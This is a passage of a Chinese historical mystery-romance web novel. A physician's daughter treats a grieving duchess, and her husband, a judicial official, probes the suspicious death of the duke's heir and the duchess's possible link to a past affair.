龙姽婳笑着走到门口站定,“你想逛自己逛去,我要回去画观音了,原本是为昨夜刺客的事情来的,但我瞧你好好的,就放心了,何况,万事有世子爷顶着,我们夫妻就不操心了,能做一日富贵闲人就做一日。但若有用得上我们的,只管开口,万死不辞。” 话落,径直去了。 罗慧心走到慕容鸾音身畔,与她一同目送龙姽婳,禁不住道:“倘若她是男儿,想必已然如仙鹤一般,飞跃千山万水,只为成就一幅流芳百世的画。” 慕容鸾音怔然片刻,笑道:“你后半句说对了,前半句不对,龙姐姐不会假想自己是男儿,龙姐姐是男是女都洒脱,且嵘三爷是她的知己,凡是龙姐姐想去的名山胜景,嵘三爷都会奉陪到底,他们真正是一对天作之合的璧人,世间少有。” 罗慧心看着慕容鸾音的神色笑道:“您与世子爷也是一对璧人,何必羡慕他们呢?” 慕容鸾音哂笑一声,“这里交给你了。” 至午后,慕容鸾音才乘车归来,买了满满一车的玩具,有小木马、拨浪鼓、彩色藤球、皮球、布老虎、风筝等,还有一整套沉香木雕成的十二生肖动物摆件,每一只小动物都打磨的十分光滑,一点木刺都没有。 到掌灯时分就把小花厅西次间布置了出来。 罗慧心见她如此礼贤下士,只得把自己一颗忠心捧出来还她。 月上柳梢时,观棋来告诉了一声,萧远峥在大理寺夜直,回不来,请慕容鸾音不必等他,自睡便是。 慕容鸾音懒怠多言,只说一句“知道了”,实则早已不期待。 深夜翻来覆去的睡不着,就想着自己把祖传的医书复习了大半了,明日可以去药铺坐诊试试,谁知,翌日早食后阿娘竟亲自上门来了。 “快,带上你的金针,随我去郯国公府。” 慕容鸾音连忙问道:“是谁病了?难不成是那府上的世子又哭晕了?” 何赛仙道:“郯国公世子死了,郯国公夫人情志内伤,痰迷心窍。” 慕容鸾音还以为自己听错了,急忙又问一句,“谁死了?” “别管死了的,先顾着还没死的吧,边走边说,快。” 第34章 第034章是巧合吗?…… 碧荷见状连忙把红羽缎金莲花斗篷找出来披在了慕容鸾音身上,冬青带上了金针布包,紧紧随护在侧。 马车甫一抵达郯国公府侧门,就有个容长脸,穿水红褙子的大丫头神色焦急的迎了出来。 “奴婢名叫涅儿,是我们国公夫人身边的大丫头,拜见何夫人,拜见……” 慕容鸾音就道:“你称呼我慕容夫人便是。” “慕容夫人。”涅儿边把慕容鸾音母女往府内引领边道:“天快亮的时候,我们听见夫人有异状,神志不清,喉咙里似堵住了异物,我们连忙找出从你们药铺里买的苏合香丸和清心滚痰丸,一样喂下去一粒,夫人清醒了一会儿就赶紧让我们去找何夫人您过来治病,这会儿我们夫人已是昏睡不醒, 求何夫人、慕容夫人快快随奴婢进去救命。” 何赛仙听说,脚步加快。 慕容鸾音只好提起裙子来跟着小跑。 不一时,到了正院,进了正房套间,就见又有一个穿水蓝褙子的大丫头正守在床前,床榻上躺着一个头发雪白的中年妇人,双眼紧闭,眼皮下的眼珠却微微滚动,似是想醒却醒不来的症状,慕容鸾音见状,顾不得旁的,一面抽出金针来一面道:“把夫人的内衫脱了,露出上半身。你抱起夫人的头,露出她的喉部。” 水蓝褙子的大丫头连忙照做。 慕容鸾音当即抽出三菱针,刺其喉蛾九穴放血,但见郯国公夫人蓦的睁开了眼,瞳孔涣散,张嘴喘息,伴随喉鸣。 慕容鸾音没有犹豫,立时就道:“把夫人翻过来脸朝下!” 何赛仙见那大丫头慌了手脚,一把扯下帐帘金钩塞在郯国公夫人牙齿中间,又快速将其脸朝下翻转固定。 慕容鸾音见状,曲手成拳,照其后背心处就是重重一拳。 涅儿惊呼,“你们这是作甚?!” 谁知,郯国公夫人猛地就呕出一口粘稠的血来,“叮当”一声,金钩被血水浸透也掉到了脚踏上。随着慕容鸾音为其捏脊推拿,郯国公夫人也渐渐能自己控制嘴巴向外吐了。 涅儿见状,慌忙去拿痰盂,但见床前已是一地污秽,再用痰盂已是晚了,只好抱紧痰盂,满眼无措又茫然。 至郯国公夫人再也吐不出什么了,慕容鸾音收手,站直身子,一抹额上冷汗就道:“还愣着做什么,你们夫人清醒了,去倒一杯温白水来喂她喝下。” 何赛仙把郯国公夫人交给水蓝褙子大丫头抱着,站起身退后一步就道:“为你们夫人更衣清理一番吧,弄好了我再给她诊脉。” 话落,看向慕容鸾音,示意她随自己到厅上等候。 慕容鸾音把金针交给冬青拿着,跟在何赛仙身后去了厅上坐着。 随着她们母女走出套间,身后的帐幔也被放下了一层。 厅上丫头上了茶点,慕容鸾音不习惯用别人家的茶盏就没动,而是凑到何赛仙身边低声询问,“阿娘,这府上世子死了,你听谁说的?” 何赛仙低声道:“今儿天蒙蒙亮那个叫涅儿的丫头就来敲咱家门,我一听是郯国公夫人,想着郯国公帮过咱们家一回,就赶紧问是什么病症,怎么引起的,那丫头就哭着说,三日前夜里她家世子被鬼魂吓死了,郯国公夫人失子,一夜白头就病倒了,咳嗽不止,喉咙淤堵,我一想约莫就知道是怎么回事了,果不其然是情志内伤,痰迷心窍。痰迷心窍是危急之症,正需你金针刺穴急病急治,就让那丫头先回,我去寻你一道来此。” 就在这时忽听得西边碧纱橱内传来弹珠滚动的声音,母女俩不由得循声望去,但见碧纱橱的门紧闭,两旁摆着紫檀木花架,架上养着两排水仙花,花瓣洁白仿佛带露,花心却是鲜艳的橙红色。 慕容鸾音眼睛一亮,赞道:“好漂亮的水仙,我还是头回看见红色花心的呢,想来是新品种,不知市面上有卖的没有。” “咚咚咚!” 碧纱橱内又传来一阵声响,这回母女俩确定了,那碧纱橱里有人,还应该是个正拿着拨浪鼓的调皮孩子。 这时套间内纱幔被束起,涅儿连忙走出来赔笑道:“何夫人、慕容夫人,我们夫人收拾好了,请两位夫人入内诊脉开方。” 何赛仙想锻炼慕容鸾音,就推着她上前,慕容鸾音揉着自己的手指就撒娇道:“方才推拿捏脊时太过用力,这会儿酸疼起来了,阿娘去吧。” 何赛仙无奈的看慕容鸾音一眼,只好走向床榻,坐到床边为郯国公夫人诊脉。 慕容鸾音站在一旁,这才看清郯国公夫人的模样,皮肤蜡黄苍老,从眼睛到颧骨布满黄褐斑,再加上一头白发,让她看起来像五六十的老妪,即便如此尚能看出她五官生得极好,年轻时应该是个美人。 望闻问切,何赛仙也在打量郯国公夫人的面相,斟酌片刻后才道:“夫人这是久郁心堵之相,脏腑气血失调太严重了,此番是经受大刺激之下,肺腑衰竭致使痰迷心窍,若想治病还需想开些,莫忧莫伤莫恐。” “我这身子调养一番还能生育吗?” 慕容鸾音讶然无语,心中叹息,不忍再看她,却见她的床帐子是浅紫色水仙花花纹的,不由得想,郯国公夫人应该很喜欢水仙花,就像她喜欢山茶花一样。 等等……浅紫色水仙花罗帐,她恍惚在别处也见过差不多的一顶,在哪里来着? 何赛仙看着郯国公夫人没言语。 郯国公夫人凄然一笑,“我只是……问问罢了。” 就在这时从外头大步冲进来一个腰肥体壮的中年男人,头戴乌纱帽,身穿仙鹤补子绯红袍,腰缠玉带,他先是猛盯了郯国公夫人一眼,随后又面带微笑的打量何赛仙和慕容鸾音,“夫人,这两位是什么人?” 郯国公夫人咳嗽一声道:“一位是已故慕容青云大人的儿媳,妇科圣手何夫人,一位是慕容青云大人的孙女,大理寺卿萧大人之妻慕容夫人。国公爷,你暂且退出去吧,容我让涅儿送二位夫人出去,咱们再说话。” 郯国公玉在山从上到下细细打量慕容鸾音一回,这才笑道:“一见了你我便觉似曾相识,却原来是故人的孙女,你和你祖父长得很像,你祖父啊,陛下曾亲口夸赞过,是大魏朝第一美男子,你是他孙女,竟出落的青出于蓝了,真是不错。” 慕容鸾音听他说这些话觉得怪怪的,又一时说不出来,只好福身一礼,礼貌微笑。 这时何赛仙收拾好自己的医箱,交给自己的大丫头白栀,就对郯国公夫人道:“夫人的病情我已诊得,待我回去后配好药就让家里的嬷嬷送来,告辞了。” 话落,拉着慕容鸾音就向外走去。 郯国公夫人撑起身子道:“两位夫人慢走,谢仪稍后送到。” 却说萧远峥,自从那日清晨追踪大黑猫到四岔路口,却碰见了郯国公从平康坊的方向驶来,心中对他起疑就开始查他,查到他上报了世子玉成烨被鬼魂吓死之事,觉得蹊跷,就向皇帝请旨,领了为玉成烨验尸的差事,带了仵作到郯国公府来。 他骑在马上,远远的竟看见慕容鸾音母女从那府里出来,心上一紧就快速打马上前,拦在马车前头,“拜见岳母大人。” 慕容鸾音看见他,蓦地就想起在何处见过浅紫色水仙花罗帐了,连忙下车走向他就道:“我有事情和你说。” “你到郯国公府来做什么?”萧远峥见她神色急切,就把她拉到避人处,“什么事?” 慕容鸾音踮起脚尖凑近他耳朵,他亦弯下腰来侧耳细听。 “阿娘带我来给郯国公夫人治痰迷心窍的急症,我发现她床上挂着一顶浅紫色水仙花罗帐,屋里也用青瓷大缸养着好些水仙花。” 萧远峥一听她说浅紫色水仙花罗帐脑海中立时就想起了在范成德老宅隔壁三间精致轩室内见过的那一顶。 “花色一模一样吗?” 慕容鸾音仔细回想了一下,“我不敢说一模一样,但是水仙花一般是淡黄色的花心,但郯国公夫人的水仙花和水仙花罗帐,花心都是橙红色的,和范成德偷情那个秋嫣然,她罗帐上的水仙花花心也是橙红色吗?” 慕容鸾音记的没有那么仔细,可萧远峥记得,于是轻点了一下头。 慕容鸾音杏眸蓦地睁大,“兴许是在一个帐幔铺子里买的呢?她是一位国公夫人啊,脑袋坏了才会做那样的事情,是巧合对不对?” 萧远峥沉吟片刻,见何赛仙还等在那里,就道:“你先回去,晚上我回家咱们再细说。” 慕容鸾音见他来了,心里就什么都不怕了,拉着他手道:“你来的正好,我听说玉成烨死了,想到那白白净净感情纯粹的少年好端端就夭折了,我心里怜惜,想为他上柱香,你陪我再进去一趟。对了,你是恰好经过这里吗?” 萧远峥见她说完玉成烨才想起问他,就捏了一下她手,道:“玉成烨是世子,他死了需得经过鸿胪寺验尸排除谋杀等,才能下葬。我请旨领 了这个差事。” 慕容鸾音顿时道:“那正好,咱们一块进去,你验尸,我上香,各干各的。” 萧远峥:“……” 第35章 第035章来癸水了夭…… 夭折的孩子,不能办丧礼,不能入祖坟,一切从简。 但慕容鸾音万万没想到,郧国公府对待夭折的世子粗简到这等地步。 一般而言,倒座房都是当值下人住的地方,可此时却被安放了玉成烨的尸身。堂堂国公世子就躺在一口薄皮黑棺材里,棺材前面别说供香烛了,连牌位都没有。一墙之隔就是马棚,隐隐的还有马粪的臭气飘过来。 玉在山仍旧穿着他那身内阁大臣的官袍,站在门外不肯进来,待得看见仵作验尸完毕,萧远峥合上棺材盖子,这才嘴角微微上扬,开口就道:“如何,是吓死的吧。” 慕容鸾音见他竟是一副“我儿子就是吓死的”得意样,心中愤然不解,有心想质问他一句“死的真是你亲儿子吗”,可碍于他那一身官袍,自己又没有立场,只得忍下。 萧远峥抚着棺材看向门外的玉在山,冷冷道:“奉陛下口谕问你,你上报说玉成烨是被鬼魂吓死的,如何证明是鬼魂,又是谁的鬼魂,又是在何处吓死的,望郧国公如实交代,我好写成折子呈奏陛下。” 玉在山不耐烦的道:“我呈送陛下的奏折上写的很清楚了。” “陛下说鬼魂之说无稽之谈,请郯国公仔细斟酌后再细说一遍。” 玉在山斜睨萧远峥,目露冷意释放官威,却见他的目光不仅不躲闪反而比他更有煞气,当下便觉没意思了,转身就走,“说一百遍也是鬼魂吓死的,随我到厅上说话吧。” 萧远峥便携慕容鸾音走出倒座房,随玉在山去了一处待客厅,分宾主落座后,就有丫头上茶。 玉在山坐在太师椅上,慢悠悠端起茶盏喝了一口才道:“事已至此我也不瞒着了,玉成烨和范成德的小儿子范如晔交好,自从知道范如晔死了,那狗逼崽子就日日哭丧,三日前更过分了,在家里花园荷花池畔,设供案、摆香烛,又不知从哪里弄来的招魂符,于子夜烧了要招范如晔的魂,谁知他弄巧成拙,真招来一鬼,他自己叶公好龙,真见了鬼了就把自己吓死了。” 萧远峥盯着玉在山道:“郯国公怎知一定是鬼吓死的?” “那狗崽子又摆招魂阵,又烧招魂符的,不是鬼还能是什么?萧大人若觉得不是鬼,随你查去。只是尸体不耐久放,萧大人若不让下葬,为防尸臭引来瘟疫,我就扔到乱葬岗去。” 慕容鸾音听他竟说出如此无情的话来,为防自己生气失态,只好佯装喝茶,把茶盏捧到手里死捏着。 萧远峥神色淡然,继续道:“玉成烨世子被吓死那夜,您在何处?” 玉在山似笑非笑的看着萧远峥,“世侄明知故问,狗崽子死亡那夜我不在府里,在平康坊外室那里,第二日清晨不是正好碰见你了吗,你还手持金牌令箭搜过我的车呢。” 慕容鸾音把茶盏重重放下,终是忍不住开口道:“您一口一个狗崽子,难不成玉成烨世子不是您亲生的?” 玉在山慢悠悠的端起茶盏来又浅啜一口,假模假样叹一口气道:“家家有本难念的经。这狗崽子素日里羸弱爱哭,娘们唧唧,我十分厌恶此子,原本并不想为他请封世子,奈何我爱重夫人,不想为此事继续和夫人争吵下去,只好妥协。谁知狗崽子是个没福气的,坐上世子之位才几天啊,竟就没出息的被吓死了。这可真是称了我的意了。” 慕容鸾音心想,你胡扯,倘若你真爱重郯国公夫人,她不会是那般苍老郁结的面相。 “据我所知,您与夫人夫妻恩爱,府中没有任何姬妾,除了玉成烨世子再也没有别的孩子,如今世子亡故,您打算把世袭罔替的国公爵位传给谁?” 玉在山蓦的看向萧远峥,一双眼杀气腾腾,“你查到我外室那里去了?” “郯国公勿恼,倒也不是特意查的,不过是追凶追到平康坊,碰巧在琵琶巷……” “狗逼崽子死了我畅快,再也没什么可说的,送客!” 萧远峥见他一副怒不可遏模样,施施然起身,拱手告辞,当即牵起慕容鸾音的袖角就向外走去。 夫妻二人甫一出了郧国公府的侧门,门就被里头的下人“嘭嘭”两声关上了。 萧远峥一笑,抱起慕容鸾音送上马车,自己也钻了进去,就见车内多了一盆水仙花。 守在车旁的碧荷连忙靠近车窗禀报道:“是郯国公夫人身边那个叫涅儿的大丫头送来的,说是谢仪。” “知道了。”慕容鸾音看向挨着她坐的萧远峥,“你跟上来做什么,不用回宫复命吗?” “不用。昨夜熬了一宿,陛下让我回家补觉。” “那你下去骑马,让碧荷冬青上来。” “累了,骑不住马了。” 说完这一句,兀自闭上眼睛往慕容鸾音身上倒去。 慕容鸾音吓了一跳,慌忙抱住他倒下来的大脑袋,细细打量他全身一遍,不见伤口血迹,才知他只是困了,就气的往下推他,“前头拿我当解药用,这回又拿我当枕头用,我就这般好欺负吗?给我下去!” 谁知,萧远峥反而侧过身去,偌大身躯蜷成一团,脑袋往她柔软的腹部一扎,两臂伸出锁链似的锁住她腰肢,“嘘,容我睡一觉,晚上与你生孩子。” “你、你放屁!” 慕容鸾音被他牢牢锁着动弹不得,又不好声张出来被外头人听见,只好忍下了,又实在气不过,大拇指与食指捏起他耳垂狠掐了一下。 二人如此姿势,慕容鸾音一下子就闻到了从他身上散发出来的汗水混合着尘土味儿,立时嫌弃道:“你臭死了,回府后别来我的瑞雪堂!” 却说玉在山,在确认萧远峥夫妻的马车驶离之后,铁青着脸直奔正院,看见风玉笙竟能安安稳稳的躺在床上,吃着丫头喂的燕窝粥,上去一把打翻,揪住她的白发拽到地毯上,就厉声质问,“京中没有别的女郎中了吗?你明知道她是萧远峥的岳母!” 风玉笙任由他揪着头发,灰着脸麻木的道:“何塞仙是医术最好的,若非她们母女,我这会儿说不得已经死了。” 这时碧纱橱内忽又传出拨浪鼓的“咚咚”声,玉在山拽紧风玉笙的头发与他对视,“被那对母女发现没有?” “我让丫头在里面看着,没发出一点动静。” “你还要留它到几时!萧远峥那条狗盯上我了,处理了吧。” 风玉笙抬起眼皮,冷漠的望着他,“你多久没进去看他了,他太大了,我处理不了,塞进烨儿的棺材,运到北邙山一块下葬吧。” 玉在山看着风玉笙对他从始至终都麻木漠然的态度,忽的掐住她的脖子,怒红双眼,“我痛恨你为一个杂种一夜白了头发,你究竟是为了杂种悲痛,还是为了范成德?!你果然爱过他,你背叛了我!” 丫头们在他打翻燕窝粥时就都惊惶的躲了出去,此时套间内只有他们夫妻二人。 风玉笙被掐的脸皮紫涨,她就那么看着他,缓缓闭上了眼睛。 玉在山蓦的松开手,又将她百般怜爱的搂在怀里,哭着道歉。 风玉笙剧烈咳嗽一阵才好些了,哑着声音道:“我应是活不长了,我要把烨儿葬在他身边,你也把你外头那个孩子领回来吧,趁我还活着记在我名下,如何?” “胡说,你不会死,我又收到了‘极乐长生宴’的请帖,那宴我去过,宴上有一道长生丹,我服用过极有效用,你瞧,我就比你年轻许多。只是若去此宴还需一件表礼,此前四处寻摸不着,今日却是找到了。你等我为你取药。” “好。”风玉笙漠然敷衍一声,任由他将她抱回床榻。 待得玉在山离开,风玉笙拿起自己的一撮白发看着,问进来的涅儿,“我是不是又老又丑了?” 涅儿低着头不敢回 话,只是赔笑道:“奴婢又去端来一碗燕窝粥,您再吃一点吗?” 风玉笙把白发塞进自己嘴里嚼着,眼珠无光像死去很久一样。 却说萧远峥回到郧国公府后,先去了静园用饭,沐浴更衣,绞干头发后就又来了瑞雪堂,睡进了慕容鸾音的暖阁。 青天白日的,慕容鸾音自是不许他来霸占自己的床榻,可任凭她使出吃奶的劲儿也没能把他拽下来,待要让丫头们来帮忙,她们又都避嫌不肯,无可奈何,只好由他睡了。 这一睡竟就睡到了天黑。 瑞雪堂灯火通明,萧远峥醒了,透过胭脂红床帘就瞧见慕容鸾音正坐在妆镜台前匀面,从一个梅青色桃子瓷盒里挖出一块香膏来,在小脸上细细抹匀,抹完小脸蛋又抹脖子,没一会儿更把小手伸进了自己的抹胸里,把那酥软香甜的两团抹了一遍后这才罢了,拿起梳子来梳头,用一只碧玉簪给自己挽了一个单螺髻。 他默默看着,喉结滚了两滚,开口就唤了一声“阿音妹妹”。 慕容鸾音心口一窒,把梳子放下,又用小指抹出一点玫瑰香膏来轻轻在唇上匀开,嗤笑道:“我发现了,你竟是个贱胚子。” 萧远峥嚯然坐起,把床帘拨开怔怔望着慕容鸾音,“何意?” “你冷落我三年,等待察觉我真的不拿你当回事了,你又上赶着黏糊过来,你自己说,你贱不贱?” 慕容鸾音妆罢,侧转身斜倚妆镜台,翘起二郎腿,看着萧远峥,唇角带起玩世不恭的笑,“你也不过如此,骨子里和其他三心二意的贱男人没什么两样。” 萧远峥眸色一狞,蓦的伸长手臂将她拽到怀里搂着,捏起她的下巴,以拇指摩挲她那水润的朱唇,“我倒要告诉你,我不止像你嘴里说的那样不堪,我还贪你美色,馋你身子,我贪嗔痴欲俱全,只你可见!” 话落,便摸向她腰间,待得发现那里多了两条系带,便是一僵。 慕容鸾音看着他那副箭在弦上却蓦的凝住的表情,顿时露出真面目,“我来癸水了,哈哈哈……” 第36章 第036章哭红眼睛萧远峥见她…… 萧远峥见她笑的花枝乱颤,得意洋洋,还能如何,只得把她放了,自去用饭。 饭毕,便去碧纱橱大案前坐着。 慕容鸾音先去他身后偷瞧了一眼,见他在一张大宣纸上写下了秋嫣然,风玉笙,范成德,玉在山四个人名,就知道他是要分析案情了,连忙找来一个小茶盘,倒了两盏茶,又把一个蜜饯干果攒盒也放到茶盘上,亲自端着进了碧纱橱,轻手轻脚放到他大书案一角上,又回身出去搬来一个绣墩,安静落座。 萧远峥见她乖笑着推给他一盏茶,禁不住便想起从前一幕: “峥哥哥峥哥哥,听说你帮县令破获了一起入室偷盗案,抓了一个江洋大盗,怎么抓的呀,你跟我讲一讲嘛。” “亲一口就告诉你。” 她穿了一身红,戴了满头小绒球,年画娃娃似的,“吧唧”一口亲他脸上,小身子也挤进他怀里,睁着水汪汪的大眼睛催促他,“快讲快讲。” 慕容鸾音见他发起呆来,抓心挠肝的想知道他写的风玉笙是谁,就开口问起来,“风玉笙是谁?” “郯国公夫人。”萧远峥端起茶来喝了一口,“郯国公父母早亡,二十岁就继承了国公爵位,继承爵位后次年外出游猎时射伤了一个在山中采野菜的猎户之女,就是这个风氏。” 慕容鸾音一下来了兴趣,“国公爷娶猎户女,原来话本子也不都是胡编乱造的,竟真有现成的例子。” 萧远峥不置可否,继续道:“依你今日告诉我的,秋嫣然和风玉笙用了相同的罗帐,罗帐上的花纹是独特的橙红色花心,假设她们是同一个人,风玉笙和范成德偷过情,范成德把贪污所得的大头都运送给了风玉笙……” “等等。”慕容鸾音举起手来,迷惑不解道:“风玉笙难道是妲己转世不成,只因十六年前有过一段情就能让范成德甘心情愿为她输送那么多年的金银财宝?” 萧远峥见她迷糊的那个可爱样子就笑道:“今日你听见玉在山一口一个狗崽子的叫玉成烨,心里如何想?” 提到这个慕容鸾音就来气,“我真怀疑玉成烨不是他亲生的。” 话落,慕容鸾音一下子睁大杏眼,“真的不是亲生的?” “玉成烨不多不少刚好十六岁,而且,玉成烨封世子是在范成德死亡前两日,范成德一定是得知了这个消息才甘愿赴死的。” “是了、是了,这就解释的通了。风玉笙和范成德相爱过,风玉笙还给范成德生了个孩子,这个孩子成了一位世袭罔替国公府里的公子,鸠占鹊巢,他可不就心甘情愿了。可是,女子怀孕肚子会变大,玉在山不可能不知道啊,他怎么会同意自己的妻子怀上别的男人的孩子,还愿意认作自己的孩子?”慕容鸾音蓦的想出一种可能,“莫非玉在山有隐疾,生不出孩子,故此偷偷摸摸让自己的妻子借种?” 萧远峥把茶盏捧在手里,食指无意识的轻点杯沿,“我查到玉在山在平康坊琵琶巷养着一个外室,那外室生了一个孩子,十四岁了,眉眼与玉在山有三分相似,玉在山很爱重这个孩子,取名玉承祖。” 慕容鸾音彻底糊涂了,“倘若玉在山能自己生孩子,那他的胸襟也太宽阔了,不但容得下妻子和人偷情,还愿意抚养非亲生子。” 这也正是萧远峥想不通的一点。 玉在山给范成德施美人计,美人竟用上了自己的原配夫人,付出的代价也太大了,他彻查过范成德祖宗三代,确确实实是寻常贫寒人家,范成德何德何能? 慕容鸾音喝了一口水,忽的想起什么,立马道:“今日我听你和玉在山说话,你说郯国公夫妻恩爱,府中只有一个孩子玉成烨,是吗?” “是。” “可是我今日给风玉笙治病时,却听见她的碧纱橱里有摇动拨浪鼓的声音,还有弹珠滚动声。而且,风玉笙为玉成烨之死一夜白了头,脸色蜡黄,阿娘给她诊脉,劝她莫忧莫恐,总之就不是夫妻恩爱的面相。” 萧远峥蹙眉,陷入沉思。 慕容鸾音见他也想不通了,就道:“你的这番推论都是建立在秋嫣然和风玉笙是同一个人的基础上的,秋嫣然曾有意接近过范绣娘,你说范绣娘能辨认出秋嫣然的声音吗?” “问过,她说,只要秋嫣然没变成哑巴她就能听出来。” “正是呢,倘若是我怀着孕的时候,夫君和手帕交在我家里偷情,化成灰也认得。” 就在这时,萧远峥手里的茶杯歪斜,里头的茶水洒了出来,弄了他自己一手一身,慕容鸾音这会儿穿着睡裙,身上也没有锦帕,就走了出去,待得找了一块干净帕子拿进来,就见他把身上的竹青色交领长衫脱了下来,她一抬眸就瞧见他背上有许多疤痕,爪状的她知道,定是与虎搏杀锻炼武技时留下的,可为何还有方胜形烙痕? 萧远峥僵在那里,压抑着声音低叱,“出去。” 慕容鸾音蓦的转身离开,疾步走到暖阁里躺下,盖好绣被,心中惊疑不定。 他可是世袭罔替郧国公府的世子,是十八岁中状元后就简在帝心,被帝王着重培养的权臣,是谁对他用了烙刑?什么时候被用的刑? 方才她粗略一瞥就看见了三块烙痕,背上有,胸前会有吗?所以他与她行房时从不脱内衫是这个缘故吗? 她剪烛花时被烛焰燎一下手指都疼的沁泪,他受刑时该有多疼啊。 当她意识到自己的情绪又被他牵动时,连忙大口呼吸,可是、可是眼泪还是不争气的落个不停。 慕容鸾音蓦的掀被而起,冲回碧纱橱,却见他已然换了一件雪缎长衫,又坐回了大书案前,心中恨怒交加,挤到他与书案之间,一把揪住他的前襟,“萧远峥,我绝不会问你背上烙痕是怎么来的,我更不会再让你牵动我的喜怒哀乐,我发誓,从今往后我只管我自己痛快!” 萧远峥看着她哭红的眼睛,心中酸痛难当,握着她揪着他衣襟的手,轻声道:“如此,甚好。” “如此甚好?好什么?!”慕容鸾音只得他这四个字,顿觉眼前这个人可恨之极,扬手就想打碎他脸上清冷自持的面具,却被他一把握住手腕拉到怀里,紧紧拥着,仿佛失而复得,勒的慕容鸾音喘不过气来。 慕容鸾音被他这般抱着,抓着他背脊大哭起来,“你究竟想怎么样啊。” 萧远峥星眸泛红,低声道:“不知。” 不知该拿你怎么办。 慕容鸾音听了,哭声一霎止住,抽噎道:“你、你真是有病,放开我,我只、只不过是看见你受了烙刑,同情心泛滥,仅此而已。换个阿猫阿狗被如此对待,我也会心疼,这、这是我的毛病,我要改掉。” “我抱你回暖阁,歇了吧。” 慕容鸾音顿怒,若非自幼的教养,真想抽出月事带来扔他脸上。 “滚!” 萧远峥揉着她身子轻笑,“你想到哪里去了,我的意思是,我知道去哪里验证风玉笙和秋嫣然是不是同一个人了,今夜早睡,明日一早好去盯着郯国公府。” 慕容鸾音从他怀里挣脱出来,禁不住追问,“哪里?” “你说的,风玉笙为玉成烨之死一夜白头,我们赌一把,玉成烨下葬的时候,风玉笙会不会从郯国公府内出来送爱子最后一程。” 慕容鸾音瞅着他使劲想了想,“看你一副胸有成竹的样子,难不成你已经知道玉成烨的下葬地了?你怎么知道的?” “很简单,玉在山不会允许玉成烨进玉氏祖陵,玉成烨未及弱冠而夭,风玉笙身为母亲,她会害怕孤魂野鬼欺负她的爱子吗?” 慕容鸾音点头,“肯定会。” “如此,风玉笙一定会把玉成烨葬在他生父的坟茔之畔。范成德是罪臣,全家又被屠戮,似这种无人收尸安葬的,官府都会把这些尸体葬到北邙山,范成德再是如何也官至三品,似他这种的,官府会给他立个碑,成全他死后入土的体面。” 慕容鸾音听他说完已是信服,抬起袖子来擦擦脸上泪痕,径自向外走去,瞥眼看见萧远峥随着她进了暖阁,立时道:“你还有什么事儿?我要睡了。” 萧远峥看着慕容鸾音躺下,坐在床沿上为她掖好被子才道:“倘若风玉笙真的出现在北邙山,为防打草惊蛇,还需你把风玉笙骗到避人处,让范绣娘躲在暗处听一听她的声音,以此确认她们是不是同一个人。” “这会儿又不嫌我任性了?”慕容鸾音白他一眼,拔下头上碧玉簪塞到枕下,青丝披散下来,侧身朝里,闭上眼睛再也不理他。 萧远峥看着她枕着鸳鸯枕,盖着绯红合欢绣被,一身香软睡在那里,禁不住就想,只要她一直在这里就好。 待得听见慕容鸾音呼吸均匀,真的睡着了,他就起身吹熄暖阁的灯,放下纱幔,走了出来,来至厅上,见风玉笙送的那盆水仙正摆在花几上,灯色下花心愈见鲜红,这般的水仙花,他也是头一回见。 穿过厅堂,又走至碧纱橱,在拔步床上躺下,眼睛闭上了,脑海中却不由得把关于范成德案的所有证物、猜想,都串联了一遍,总有一个关窍还没有通畅,倏忽想到从范成德床头取下的那副《伏羲娲皇图》,蓦地睁开了眼睛。 第37章 第037章坠棺翌日,天光明媚…… 翌日,天光明媚,秋风飒爽。 萧远峥天蒙蒙亮就穿戴好公服去了大理寺,金牌急召锦衣卫指挥使苏逢生,下达三条指令,其一,秘密监控郯国公玉在山和其夫人风玉笙的行踪;其二,派人到北邙山蹲守,若发现有可疑之人在范成德坟茔附近挖坑埋尸,立即禀报于他;其三,秘密调查玉在山所有近亲姐妹,排查出有出家的,无论是尼姑道姑,都要找出这个人来;有亡故的,重点调查死亡原因,如有必要,挖坟开棺。 谁知,到了中午就有派去北邙山的锦衣卫来报,范成德坟茔旁边已经被人连夜挖出了一个坑。 萧远峥一听,越发笃定自己的推断是正确的,当机立断又派遣一队锦衣卫去北邙山埋伏。 自己则骑马回府把慕容鸾音接到了大理寺,让她与范绣娘呆在一处,一旦监视郯国公府的锦衣卫来报那边有马车出府,他们这边就要立即跟上去。 这一等就等到了天黑,郯国公府一点动静都没有。蹲守抓捕嫌疑犯,等一两天,三四天,甚至个把月,这于萧远峥、苏逢生而言都是常事,但慕容鸾音第一次经历这般的焦虑等待,就有些坐不住。 范绣娘听见她频繁的起来、坐下的动静,就笑道:“夫人是等急了吧。” “可不是,这要等到什么时候去。”慕容鸾音走到窗边瞧了瞧漆黑的天色,又回到范绣娘身边坐下,叹气道:“难不成要在这里睡一夜吗?可我有择床的毛病,不是自己的被褥用不惯。” 范绣娘就羡慕道:“我一听就知道,夫人定是自小就被娇养长大的,不像我,野草似的,风吹到哪儿就在哪儿活着,我也是幸运的,十岁以后成了范家的童养媳日子就好过了,公爹婆母都待我不错,我的刺绣手艺也是婆母教的,后来范成德也长成了一个身材厚实,相貌堂堂的男人,我这样野草一般的女人,能成为他的妻子,还给他生了两个儿子,也是走了狗屎运了。” 慕容鸾音打量范绣娘的相貌,平心而论,只是五官端正而已,但她有一头乌黑亮丽的头发,给她整体平添了两分秀丽。 “范成德死前,我给他治过病,那时候他蓬头垢面的,我也没看清他长什么样子,依你说,他竟是一表人才吗?” 范绣娘露出怀念的神色,“他年轻时,在我们家那一片,好多小媳妇小姑娘见了他就脸红,他要是跟她们说一句话,她们能高兴半天。和夫人说一句心里话,我知道自己配不上他,所以当年我怀着晔儿的时候,听见他与秋嫣然偷情,心里虽痛不欲生,但也忍下了,只当不知道。” 慕容鸾音见她落泪,掏出帕子来放到她手里,笑道:“等到范成德的案子了了,你安全了,你还想住回范家老宅吗?” 范绣娘连忙点头,“我在那里住了几十年,那里早已是我的家。” “好。那我再给你找个像谷雨那样的人照顾你,往后余生不管你有什么难处,你只管来找我。” 范绣娘泪眼滂沱,“谢谢您。” 谢谢您不嫌恶我苟且偷生。 至翌日破晓时分,慕容鸾音正枕着冬青的腿睡觉呢,忽听见敲门声,她一下子醒过来亲自去开门,就见萧远峥站在门外,看见是她,牵起她的手就道:“风玉笙出府了。” 天亮城门开,一辆不起眼的骡子板车拉着一口棺材出了城,后面跟着一辆不起眼的青绸马车,马车后面又跟着八个穿着短褐,扛着铁锨、绳索等杂物的“农家汉子”。 这一行,一路不紧不慢的到了北邙山崖壁下,此处是一片荒野,遍地大小坟堆,天空有乌鸦秃鹫盘桓。 